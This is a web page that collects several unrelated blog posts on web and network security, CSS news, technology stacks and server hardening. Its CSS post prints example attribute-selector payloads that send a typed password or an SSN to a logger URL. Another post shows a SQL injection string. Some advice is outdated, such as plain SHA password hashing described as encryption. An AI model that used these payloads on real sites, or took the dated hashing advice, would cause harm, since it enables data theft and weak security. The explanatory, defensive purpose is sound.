CSS Security Vulnerabilities

Don’t read that headline and get worried. I don’t think CSS is a particularly dangerous security concern and, for the most part, I don’t think you need to worry about it.

But every once in a while, articles tend to circulate and get some attention as to the possibilities of what CSS can do that might surprise or worry you.

Here’s a little roundup.

The Visited Link Concern

This one goes like this:

  1. You put a link to a particular page on your site, say <a href="https://i-tickle-pigs.com">Tickle Pigs</a>
  2. You style the visited state of that link like a:visited { color: pink; } which is not a default user agent style.
  3. You test the computed style of that link.
  4. If it’s pink, this user is a pig tickler.
  5. You report that pig tickling information back to some server somewhere and presumably triple their pig owning insurance rates as surely the pigs will suffer extreme emotional distress over all the tickling.

You might even be able to do it entirely in CSS, because that :visited style might have like background-image: url(/data-logger/tickle.php); which is only requested by pig ticklers.

Worried? Don’t be, browsers have all prevented this from being possible.

The Keylogger

This one goes like this:

  1. There is an input on the page. Perhaps a password input. Scary!
  2. You put a logger script as the value for the input’s background image, but also one billion more selectors just like that such that the logger will collect and report some or all of the password.
input[value^="a"] { background: url(logger.php?v=a); }

This one isn’t that easy. The value attribute of an input doesn’t change just because you type into it. It does sometimes in frameworks like React though, so if you were to slip this CSS onto a login page powered by React and coded in that way then, theoretically, this CSS-powered keylogger could work.

But… in that case, JavaScript is executing on that page anyway. JavaScript is 1000× more concerning than CSS for things like this. A keylogger in JavaScript is just a couple of lines of code watching for keypress events and reporting them via Ajax.

Third-party and XSS injected inline JavaScript is now stoppable with Content Security Policy (CSP)… but so is CSS.

The Data Thief

This one goes like this:

  1. If I can get some of my nefarious CSS onto a page where you’ve authenticated into a site…
  2. And that site displays sensitive information like a social security number (SSN) in a pre-filled form…
  3. I can use attribute selectors to figure it out.
input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }

A billion selectors and you’ve covered all the possibilities!

The inline style block whoopsie

I don’t know if I’d blame CSS for this necessarily, but imagine:

<style> ... Drop in some user-generated stuff ...
</style>

Perhaps you’re allowing the user some CSS customization there. That’s an attack vector, as they could close that style tag, open a script tag, and write nefarious JavaScript.

I’m sure there are a bunch more

Got ’em? Share ’em.

Paint me a little skeptical of how terrified I should be about CSS security vulnerabilities. I don’t wanna downplay security things too much (especially third-party concerns) because I’m not an expert and security is of the utmost importance, but at the same time, I’ve never once heard of CSS being the attack vector for anything outside of a thought exercise. Educate me!

The post CSS Security Vulnerabilities appeared first on CSS-Tricks.

Weekly Platform News: Favicon Guidelines, Accessibility Testing, Web Almanac

Šime posts regular content for web developers on webplatform.news.

Google posts guidelines for defining favicons

Jamie Leach: Google Search now displays favicons in search results on mobile. Your favicon should be a multiple of 48×48 (Google will re-scale it to 16×16 for use in search results). If a website doesn’t have a favicon or Google deems the favicon inappropriate, a generic globe icon will be displayed instead.

Your favicon should be a visual representation of your website’s brand, in order to help users quickly identify your site when they scan through search results.

Top websites are surprisingly inconsistent in the way they declare icons (via <link> elements in the page’s head). Twitter and Pinterest, two relatively modern progressive web apps, provide icons in two sizes.

<!-- example -->
<link rel="icon" href="/icon-32x32.png">
<link rel="apple-touch-icon" href="/icon-192x192.png">

The Paciello Group releases ARC Toolkit

https://platform.twitter.com/widgets.js

The Paciello Group: ARC Toolkit, our professional-level accessibility testing tool, is now available as a Chrome DevTools extension. This tool detects issues related to the WCAG 2.1 guidelines. You can run the test on the entire page or just the node selected in the DevTools Elements panel.

Remember, automated accessibility tools are only able to find some accessibility issues, and manual testing is necessary to ensure full accessibility. Lighthouse (via the Audits panel) suggests manual checks after performing an accessibility audit.

Other news

  • Jeff Jaffe: W3C and WHATWG have reached an agreement to collaborate on the development of HTML. “W3C shall encourage the community … to contribute directly to the WHATWG HTML and DOM repositories; raising issues, proposing solutions, commenting on proposed solutions, and indicating support or otherwise for proposals.”
  • Paul Calvano: “There is a significant gap in the first- vs. third-party resource age of CSS and web fonts. 95% of first-party fonts are older than one week compared to 50% of third-party fonts … This makes a strong case for self-hosting web fonts!”
  • Rachel Andrew: The CSS subgrid value is a relatively straightforward addition to grid layout. For example, if you have nested grids, and you apply grid-template-rows: subgrid to the child grid, then this grid will use the row tracks of the parent grid instead of creating its own row tracks. That’s all there is to it. (This feature is currently only supported in Firefox Nightly.)
  • GitHub Blog: GitHub can now generate automated security fixes for your dependencies with known security vulnerabilities. On GitHub’s website, check your repository’s Security tab for security alerts. If you open an alert and press the “Create automated security fix” button, GitHub will create an automated pull request that fixes the security vulnerability.
  • Rick Viscomi: HTTP Archive plans to release the first annual Web Almanac in November, a report of the state of the web with interesting insights written by different experts. About 50 volunteers from the web community are currently working on it, and they are looking for more contributors.

The post Weekly Platform News: Favicon Guidelines, Accessibility Testing, Web Almanac appeared first on CSS-Tricks.

Weekly news: PWA Issue on iOS, Performance Culture, Anti-Tracking in Browsers

Šime posts regular content for web developers on webplatform.news. Each week, he covers timely news at the intersection of development standards and the tools that make them available on the web.

Installed PWAs cannot easily be restarted on iOS

Maximiliano Firtman: On iOS, it is not possible to restart an installed PWA by closing it from the recently used apps screen and then immediately reopening it. Instead of restarting the app, iOS restores its state. This can be a problem for users if the PWA gets stuck in a broken state.

https://platform.twitter.com/widgets.js

After some undefined time, the saved context seems to disappear. So if you get out of the PWA, do nothing with your phone and wait some hours to go back to the PWA, it restarts from scratch.

Instilling a performance culture at The Telegraph

Gareth Clubb: At The Telegraph (a major UK newspaper), we set up a web performance working group to tackle our “organizational” performance challenges and instill a performance culture. The group meets regularly to review third-party tags and work on improving our site’s performance.

We’ve started deferring all JavaScript (including our own) using the <script defer> attribute. This change alone nearly doubled our (un-throttled) Lighthouse performance score.

Deferring our JavaScript hasn’t skewed any existing analytics and it certainly hasn’t delayed any advertising. […] The First Ad Loaded metric improved by an average of four seconds.

We also removed 1 MB of third-party payload from our new front end. When one of our teams requests the addition of any new script, we now test the script in isolation and reject it if it degrades our metrics (first contentful paint, etc.).

When we started this process, we had a collection of very old scripts and couldn’t track the original requester. We removed those on the premise that, if they were important, people would get back in touch — no one did.

Microsoft plans to add tracking prevention to the Edge browser

Kyle Pflug: Microsoft has announced plans to add options for blocking trackers to the Edge browser. Malicious trackers would be blocked automatically, and the user would have the option to additionally block all potential trackers.

This would make Edge the fourth major browser with some form of built-in anti-tracking feature (two other major browsers, Opera and UC Browser, include ad blockers instead).

  1. In 2015, Firefox added Tracking Protection — recently renamed to Content Blocking — becoming the first major browser to protect users from third-party trackers (when browsing the web in private mode).
  2. Since 2017, Safari prevents cross-site tracking by default, through a feature called Intelligent Tracking Prevention (ITP). Users are prompted to allow tracking when they try to interact with third-party widgets on websites.

  3. Earlier this year, Samsung Internet added an experimental feature called Smart Anti-Tracking that denies third-party trackers access to cookies.

The post Weekly news: PWA Issue on iOS, Performance Culture, Anti-Tracking in Browsers appeared first on CSS-Tricks.

7 Ways to Increase Website Security, Without Sacrificing UX

7 Ways to Increase Website Security

Without Sacrificing UX

Did you know that the longest word in the English dictionary is 189,891 letters long?

It is (and you can see a full spelling here). This word is the name for a protein dubbed “Tintin” and would take you more than 3 and a half hours to say out loud. Pretty crazy, right?

But why in the world am I sharing this with you today? Because 189,891 letters is way too long! It could have been reduced to 50, 25, or even 10 letters, but it wasn’t.

Why?

Because people love to complicate things.

And nowhere is this more true than in the realm of online security and user experience. You see, most self-proclaimed gurus will try and overwhelm you with fancy industry jargon and advanced (but entirely unnecessary) security recommendations in order to appear like they know what they’re talking about and sell you on overpriced services.

But the truth of the matter is that increasing the security of your website without sacrificing the user experience is actually pretty simple.

If you implement a few key tactics and adhere to some basic security standards, you can sleep soundly at night knowing that your website is not only easy to use but keeps you, and your users, safe.

With that in mind, here are 7 quick and easy tips to boost your website’s security without destroying the user experience.

1. Use reCaptcha to Verify Form Submissions

Out of all the security recommendations I’m going to make in this guide, this particular recommendation is the only one that will have an appreciable impact on the quality of your users’ experience.

Setting up reCaptcha for your various lead and purchase forms is admittedly, not a user-friendly thing to do.

However, when you consider that this simple tactic will protect you from 90% of the possible spam tactics and form hacking, it’s well worth the 0.02 seconds it will require your users to validate that they are indeed “Not a Robot”.

To set up reCaptcha, simply follow the steps outlined on this page.

2. Limit the Plugins You Install (and Keep Them Updated)

One of the biggest mistakes that most webmasters make is that they download far too many plugins in order to improve the UX of their site.

Like most things in the online space, a good user experience comes down to only a small handful of things such as a clean design, easy navigability, and fast load times.

Adding dozens of unvetted plugins to optimize the minutiae of your UX is a guaranteed way to compromise the integrity of your website and expose your users’ private data to hackers.

Instead, I recommend picking a small handful of plugins that are well reviewed and approved by your CMS or website builder and then stick to those. This will mitigate the chances that your website is (successfully) attacked and will make managing your site significantly easier.

Just be sure to keep them up to date in order to patch potential weaknesses as they arise.

3. Create a Secret WP Login Page

By far the easiest way for a hacker to gain entry to your admin dashboard and wreak havoc on your previously immaculate website is through a brute force attack.

A brute force attack is simply an attack where a hacker will go to your login page and then use an automated software to rapidly guess different number and letter combinations until they crack your username and password.

However, a hacker cannot execute a brute force attack if they don’t know the login URL to your WordPress page.

Most WordPress websites use the traditional /wp-admin/ URL to login to their site meaning that hackers know exactly where to go if they want to brute force their way into your dashboard.

By using a plugin like ManageWP you can change this URL to a custom address like /my-secret-login/ and stop 99% of brute force attacks in their tracks.

4. Invest in an SSL Certificate

I’m baffled at how often I have to repeat this recommendation…

An SSL (or secure socket layer) is a standard security protocol that establishes an encrypted link between a web server and a browser.

This means that the information your customers and audience members submit on your website (such as names, email addresses, and credit card numbers) cannot be intercepted by hackers. This is good for the user experience and great for your site’s security.

The installation of an SSL certificate costs around $60 and many top tier web hosts will provide them free of charge.

5. Upgrade (or Change) Your Web Hosting Provider

The security (or lack thereof) of your website is largely dependent on the quality of the web hosting provider that is hosting your website.

A high quality web host acts as your first layer of defense against hackers and they will provide you with a free SSL certificate, network monitoring, firewalls, anti-malware, and damage recovery programs, just to name a few features.

Do your research and find the web host that is right for you. Regardless of price, most popular web hosts today offer these types of security features and also include one free website migration, meaning that you typically can switch your hosting over to a new provider over the course of afternoon.

6. Use a Separate Platform for Your Checkout Pages

A simple and (relatively) easy to implement tactic for improving your website security is to use a separate platform for your checkout pages.

For example, many marketers will offer a list of products on their website and then send customers to a secure Clickfunnels checkout page to complete their purchase.

This strategy will take nothing away from the user experience but will add another barrier to entry for potential hackers ensuring that you and your customers remain safe and secure.

7. Setup Daily Backups

The worst user experience a webmaster can commit is to allow thousands of fans to lose access to one of their favorite sites overnight.

And this scenario is much more common than you might imagine.

By setting up daily (or at least weekly) website backups you will prevent your data and content from being lost in the event of a security breach and you will ensure that your fans always have a place to go for the latest and greatest in your particular niche.

You can do this manually or ask your web host to backup your website on a recurring basis.

A Guide to Technology Stacks

A Guide to Technology Stacks

Technologies, Software, and Tools

A technology stack or tech stack for short refers to a set of technologies, software, and tools that are used in the development and deployment of sites, apps, and other digital products.

For example, a classic technology stack is the LAMP stack. The LAMP stack is traditionally used for creating an environment for running PHP applications. The stack is made up of the following technologies: Linux (the environments OS), Apache (the HTTP server), MySQL (the database), and PHP (the server-side programming language).

The infographic below provides you with an exceptional introduction to technology stacks. It covers:

  • Web development stacks

  • Software stacks

  • A glimpse of the large-scale technology stacks of major tech companies like Airbnb and Stack Overflow

Technology Stack Infographic

Technology Stack Infographic
WPA3 – Wi-Fi is Getting an Upgrade

WPA3 Security

Wi-Fi is Getting an Upgrade

The WPA3 security standard is formally finished.

Wi-Fi Alliance, which developed the protocol, has announced that the WPA3 security standard is ready for introduction. The new follow-up to WPA and WPA2 is intended to replace them with a standard that, well, hasn’t been cracked yet. There’s more to say on the topic, but that’s what the announcement boils down to. WPA has been breached enough that it’s now considered generally insecure, and some high-profile attacks like KRACK and the ability to predict the Group Temporal Key have breached WPA2 as well. It’s time for a new, (temporarily) secure standard.

One of the major features of WPA3 is its resistance to offline dictionary attacks. With WPA2, if you can observe a single password exchange between a person signing on to a network and the router, you can take that data and attempt to brute-force it via an offline dictionary attack. But WPA3 no longer relies on the same Pre-Shared Key (PSK) that WPA2 used. (Note: This discussion only applies to WPA3 Personal, not WPA3 Enterprise, which didn’t rely on the same PSK algorithm in the first place).

As PCMag reports, the only way to crack into a WPA3 network should be if you’re already connected to it…which largely removes the benefit of hacking it in the first place. The Wi-Fi Alliance also notes that WPA3 includes protections that kick in “even when users choose passwords that fall short of typical complexity recommendations,” which appears to refer to this additional password obfuscation. WPA3 also remains interoperable with WPA2 networks, though this apparently means WPA2 devices can connect to routers using WPA3 without compromising the security of other connected devices. The WPA2 device, presumably, does not gain any benefit from WPA3 security changes or improvements while connected to a WPA3 router.



Alongside WPA3 in its personal and enterprise flavors, the Wi-Fi Alliance also announced Wi-Fi Certified Easy Connect, which aims to let you add an IoT device (typically one with a limited display, or without a display at all) to a Wi-Fi network using another device with an easier interface. An example would be scanning a product quick response (QR) code with your phone. Then there’s Wi-Fi Enhanced Open, which is intended to provide “improved data protections while maintaining the convenience and use of open networks.” Exactly how much protection will be provided is something we may not know until we see how shipping hardware handles the standard — there’s often a rather significant gap between how these standards are intended to be used and how they’re actually deployed.

It’s also not clear if we’ll see older devices patched to provide support for WPA3, or if that support will be particularly robust. Each time a new security standard is released, there’s an inevitable period of “well, I’ve got Product A and Product B and they’re both supposed to support this thing… but won’t connect to each other while using it.”

Security Tips to Protect Your Website

Security Tips to Protect Your Website

Stay Secure Against Hackers

You may not think your site has anything worth being hacked for, but websites are compromised all the time.

The majority of website security breaches are not to steal your data or deface your website, but instead attempts to use your server as an email relay for spam, or to setup a temporary web server, normally to serve files of an illegal nature. Other very common ways to abuse compromised machines include using your servers as part of a botnet, or to mine for Bitcoins. You could even be hit by ransomware.

Hacking is regularly performed by automated scripts written to scour the Internet in an attempt to exploit known website security issues in software. Here are our top 9 tips to help keep you and your site safe online.

1. Keep software up to date

It may seem obvious, but ensuring you keep all software up to date is vital in keeping your site secure. This applies to both the server operating system and any software you may be running on your website such as a CMS or forum. When website security holes are found in software, hackers are quick to attempt to abuse them.

If you are using a managed hosting solution then you don’t need to worry so much about applying security updates for the operating system as the hosting company should take care of this.

If you are using third-party software on your website such as a CMS or forum, you should ensure you are quick to apply any security patches. Most vendors have a mailing list or RSS feed detailing any website security issues. WordPress, Umbraco and many other CMSes notify you of available system updates when you log in.

Many developers use tools like Composer, npm, or RubyGems to manage their software dependencies, and security vulnerabilities appearing in a package you depend but aren’t paying any attention to on is one of the easiest ways to get caught out. Ensure you keep your dependencies up to date, and use tools like Gemnasium to get automatic notifications when a vulnerability is announced in one of your components.

2. SQL injection

SQL injection attacks are when an attacker uses a web form field or URL parameter to gain access to or manipulate your database. When you use standard Transact SQL it is easy to unknowingly insert rogue code into your query that could be used to change tables, get information and delete data. You can easily prevent this by always using parameterised queries, most web languages have this feature and it is easy to implement.

Consider this query:

"SELECT * FROM table WHERE column = '" + parameter + "';"

If an attacker changed the URL parameter to pass in ‘ or ‘1’=’1 this will cause the query to look like this:

"SELECT * FROM table WHERE column = '' OR '1'='1';"

Since ‘1’ is equal to ‘1’ this will allow the attacker to add an additional query to the end of the SQL statement which will also be executed.

You could fix this query by explicitly parameterising it. For example, if you’re using MySQLi in PHP this should become:

$stmt = $pdo->prepare('SELECT * FROM table WHERE column = :value');
$stmt->execute(array('value' => $parameter));

3. XSS

Cross-site scripting (XSS) attacks inject malicious JavaScript into your pages, which then runs in the browsers of your users, and can change page content, or steal information to send back to the attacker. For example, if you show comments on a page without validation, then an attacker might submit comments containing script tags and JavaScript, which could run in every other user’s browser and steal their login cookie, allowing the attack to take control of the account of every user who viewed the comment. You need to ensure that users cannot inject active JavaScript content into your pages.

This is a particular concern in modern web applications, where pages are now built primarily from user content, and which in many cases generate HTML that’s then also interpreted by front-end frameworks like Angular and Ember. These frameworks provide many XSS protections, but mixing server and client rendering creates new and more complicated attack avenues too: not only is injecting JavaScript into the HTML effective, but you can also inject content that will run code by inserting Angular directives, or using Ember helpers.

The key here is to focus on how your user-generated content could escape the bounds you expect and be interpreted by the browser as something other that what you intended. This is similar to defending against SQL injection. When dynamically generating HTML, use functions which explicitly make the changes you’re looking for (e.g. use element.setAttribute and element.textContent, which will be automatically escaped by the browser, rather than setting element.innerHTML by hand), or use functions in your templating tool that automatically do appropriate escaping, rather than concatenating strings or setting raw HTML content.

Another powerful tool in the XSS defender’s toolbox is Content Security Policy (CSP). CSP is a header your server can return which tells the browser to limit how and what JavaScript is executed in the page, for example to disallow running of any scripts not hosted on your domain, disallow inline JavaScript, or disable eval(). Mozilla have an excellent guide with some example configurations. This makes it harder for an attacker’s scripts to work, even if they can get them into your page.

4. Error messages

Be careful with how much information you give away in your error messages. Provide only minimal errors to your users, to ensure they don’t leak secrets present on your server (e.g. API keys or database passwords). Don’t provide full exception details either, as these can make complex attacks like SQL injection far easier. Keep detailed errors in your server logs, and show users only the information they need.

5. Server side validation/form validation

Validation should always be done both on the browser and server side. The browser can catch simple failures like mandatory fields that are empty and when you enter text into a numbers only field. These can however be bypassed, and you should make sure you check for these validation and deeper validation server side as failing to do so could lead to malicious code or scripting code being inserted into the database or could cause undesirable results in your website.

6. Passwords

Everyone knows they should use complex passwords, but that doesn’t mean they always do. It is crucial to use strong passwords to your server and website admin area, but equally also important to insist on good password practices for your users to protect the security of their accounts.

As much as users may not like it, enforcing password requirements such as a minimum of around eight characters, including an uppercase letter and number will help to protect their information in the long run.

Passwords should always be stored as encrypted values, preferably using a one way hashing algorithm such as SHA. Using this method means when you are authenticating users you are only ever comparing encrypted values. For extra website security it is a good idea to salt the passwords, using a new salt per password.

In the event of someone hacking in and stealing your passwords, using hashed passwords could help damage limitation, as decrypting them is not possible. The best someone can do is a dictionary attack or brute force attack, essentially guessing every combination until it finds a match. When using salted passwords the process of cracking a large number of passwords is even slower as every guess has to be hashed separately for every salt + password which is computationally very expensive.

Thankfully, many CMSes provide user management out of the box with a lot of these website security features built in, although some configuration or extra modules might be required to use salted passwords (pre Drupal 7) or to set the minimum password strength. If you are using .NET then it’s worth using membership providers as they are very configurable, provide inbuilt website security and include readymade controls for login and password reset.

7. File uploads

Allowing users to upload files to your website can be a big website security risk, even if it’s simply to change their avatar. The risk is that any file uploaded however innocent it may look, could contain a script that when executed on your server completely opens up your website.

If you have a file upload form then you need to treat all files with great suspicion. If you are allowing users to upload images, you cannot rely on the file extension or the mime type to verify that the file is an image as these can easily be faked. Even opening the file and reading the header, or using functions to check the image size are not full proof. Most images formats allow storing a comment section which could contain PHP code that could be executed by the server.

So what can you do to prevent this? Ultimately you want to stop users from being able to execute any file they upload. By default web servers won’t attempt to execute files with image extensions, but it isn’t recommended to rely solely on checking the file extension as a file with the name image.jpg.php has been known to get through.

Some options are to rename the file on upload to ensure the correct file extension, or to change the file permissions, for example, chmod 0666 so it can’t be executed. If using *nix you could create a .htaccess file (see below) that will only allow access to set files preventing the double extension attack mentioned earlier.

deny from all
    <Files ~ "^w+.(gif|jpe?g|png)$">
    order deny,allow
    allow from all
    </Files>

Ultimately, the recommended solution is to prevent direct access to uploaded files all together. This way, any files uploaded to your website are stored in a folder outside of the webroot or in the database as a blob. If your files are not directly accessible you will need to create a script to fetch the files from the private folder (or an HTTP handler in .NET) and deliver them to the browser. Image tags support an src attribute that is not a direct URL to an image, so your src attribute can point to your file delivery script providing you set the correct content type in the HTTP header. For example:

<img src="/imageDelivery.php?id=1234" />
     
<?php
      // imageDelivery.php
     
      // Fetch image filename from database based on $_GET["id"]
      ...
     
      // Deliver image to browser
       Header('Content-Type: image/gif');
      readfile('images/'.$fileName);  
     
?>

Most hosting providers deal with the server configuration for you, but if you are hosting your website on your own server then there are few things you will want to check.

Ensure you have a firewall setup, and are blocking all non essential ports. If possible setting up a DMZ (Demilitarised Zone) only allowing access to port 80 and 443 from the outside world. Although this might not be possible if you don’t have access to your server from an internal network as you would need to open up ports to allow uploading files and to remotely log in to your server over SSH or RDP.

If you are allowing files to be uploaded from the Internet only use secure transport methods to your server such as SFTP or SSH.

If possible have your database running on a different server to that of your web server. Doing this means the database server cannot be accessed directly from the outside world, only your web server can access it, minimizing the risk of your data being exposed.

Finally, don’t forget about restricting physical access to your server.

8. HTTPS

HTTPS is a protocol used to provide security over the Internet. HTTPS guarantees to users that they’re talking to the server they expect, and that nobody else can intercept or change the content they’re seeing in transit.

If you have anything that your users might want private, it’s highly advisable to use only HTTPS to deliver it. That of course means credit card and login pages (and the URLs they submit to) but typically far more of your site too. A login form will often set a cookie for example, which is sent with every other request to your site that a logged in user makes, and is used to authenticate those requests. An attacker stealing this would be able to perfectly imitate a user and take over their login session. To defeat these kind of attacks, you almost always want to use HTTPS for your entire site.

That’s no longer as tricky or expensive as it once was though. Let’s Encrypt provides totally free and automated certificates, which you’ll need to enable HTTPS, and there are existing community tools available for a wide range of common platforms and frameworks to automatically set this up for you.

Notably Google have announced that they will boost you up in the search rankings if you use HTTPS, giving this an SEO benefit too. There’s a stick to go with that carrot though: Chrome and other browsers are planning to put bigger and bigger warnings on every site that doesn’t do this, starting from January 2017. Insecure HTTP is on its way out, and now’s the time to upgrade.

Already using HTTPS everywhere? Go further and look at setting up HTTP Strict Transport Security (HSTS), an easy header you can add to your server responses to disallow insecure HTTP for your entire domain.

9. Website security tools

Once you think you have done all you can then it’s time to test your website security. The most effective way of doing this is via the use of some website security tools, often referred to as penetration testing or pen testing for short.

There are many commercial and free products to assist you with this. They work on a similar basis to scripts hackers will use in that they test all know exploits and attempt to compromise your site using some of the previous mentioned methods such as SQL injection.

Some free tools that are worth looking at:

  • Netsparker (Free community edition and trial version available). Good for testing SQL injection and XSS

  • OpenVAS. Claims to be the most advanced open source security scanner. Good for testing known vulnerabilities, currently scans over 25,000. But it can be difficult to setup and requires a OpenVAS server to be installed which only runs on *nix. OpenVAS is fork of a Nessus before it became a closed-source commercial product.

  • SecurityHeaders.io (free online check). A tool to quickly report which security headers mentioned above (such as CSP and HSTS) a domain has enabled and correctly configured.

  • Xenotix XSS Exploit Framework – A tool from OWASP (Open Web Application Security Project) that includes a huge selection of XSS attack examples, which you can run to quickly confirm whether your site’s inputs are vulnerable in Chrome, Firefox and IE.

The results from automated tests can be daunting, as they present a wealth of potential issues. The important thing is to focus on the critical issues first. Each issue reported normally comes with a good explanation of the potential vulnerability. You will probably find that some of the medium/low issues aren’t a concern for your site.

If you wish to take things a step further then there are some further steps you can take to manually try to compromise your site by altering POST/GET values. A debugging proxy can assist you here as it allows you to intercept the values of an HTTP request between your browser and the server. A popular freeware application called Fiddler is a good starting point.

So what should you be trying to alter on the request? If you have pages which should only be visible to a logged in user then I would try changing URL parameters such as user id, or cookie values in an attempt to view details of another user. Another area worth testing are forms, changing the POST values to attempt to submit code to perform XSS or to upload a server side script.

Hopefully these tips will help keep your site and information safe. Thankfully most CMSes have a lot of inbuilt website security features, but it is a still a good idea to have knowledge of the most common security exploits so you can ensure you are covered.

There are also some helpful modules available for CMSes to check your installation for common security flaws such as Security Review for Drupal and Wordfence Security for WordPress.

If you found this information helpful or have any security tips of your own, let us know!

Residential Wireless Security Best Practices

Residential Wireless Security

Best Practices

Hello Everyone,

Today I would like to speak with you about best practices for securing your home wireless network from potential intruders. These simple few best practices will make your wireless network more secure and provide you with peace of mind that no one is using your internet connection.

Wireless Password Strength

Default MTS and Shaw modems come with a pre-generated 10-digit wireless password. While this seems complex it is relatively easy to break using number brute force (generating every potential pattern). In testing the password could be determined within 1 to 2 days. The simple fix for this is to change your wireless password to a combination of capital, lower case, number and special character (!,#,$ etc.) password of 10 characters or more. The longer the password the better. Do not use words or easy to guess passwords such as “Mrfluffy123”. This simple change will make it almost impossible to brute force your wireless password.

Wireless Network Type

Always use WPA2 or greater when available. Never use WEP password encryption.

Wireless Network Name / SSID

It is recommended to hide the SSID so that your network is not advertised.

Wireless Router

Always make sure your wireless router is up to date with the latest firmware. Most consumer routers will check for updates on your behalf and notify you on login.

Period Device Review

Periodically check your routers DHCP table to make sure the devices listed match known devices within your network. If you notice something strange immediately block it from the network.

I hope that some of these simple recommendations help you with your home network.

Please contact our IT Services wing to learn more about security alerts and best practices. If you found this information helpful or have any security tips of your own, let us know!

Hardening Your Server – Best Practices

Hardening Your Server

Best Practices

Hello Everyone,

In today’s blog post we are going to discuss some of the simple best practices for hardening your servers. These tips can apply to any server environment.

Disable default/guest accounts

Most systems have default guest accounts which if they are not being used should be disabled. I have not seen a reason to keep these enabled in any environment.

Change admin username

Most systems have the ability to change or disable the default super user account. To harden the server it is recommended to change / rename this where able.

Change All Default Passwords

Always change your default passwords to a complex password.

Use complex passwords for privileged accounts

Always make sure your passwords use the following minimum complexity settings

  • Minimum 10 character length
  • Include a number, capitals, symbol
  • Do not use dictionary words
  • Lock account after 5 failed login attempts
  • Where able leave account locked out until reset.
  • Always run server behind a firewall or enable a firewall

This is just good practice as you want to be able to log any events and prevent people from gaining access via unknown ports. If possible run an active firewall which will automatically block IPs on login attempts and send out alerts.

Disable all ports not being used

Same as above. There is no reason to keep open ports which are not used.

Change Default Ports

Where possible change default ports to a non standard. For example SSH operates on port 22 which is common and known. Change this to a random non standard eg. 6022

Updates updates updates

Stay on top of security updates which patch potential security holes in your server. This is very important.

I hope these simple tips help you and keep your servers more secure.

Please contact our IT Services wing to learn more about security alerts and best practices. If you found this information helpful or have any server hardening tips of your own, let us know!

Privacy Settings
We use cookies to enhance your experience while using our website. If you are using our Services via a browser you can restrict, block or remove cookies through your web browser settings. We also use content and scripts from third parties that may use tracking technologies. You can selectively provide your consent below to allow such third party embeds. For complete information about the cookies we use, data we collect and how we process them, please check our Privacy Policy
Youtube
Consent to display content from Youtube
Vimeo
Consent to display content from Vimeo
Google Maps
Consent to display content from Google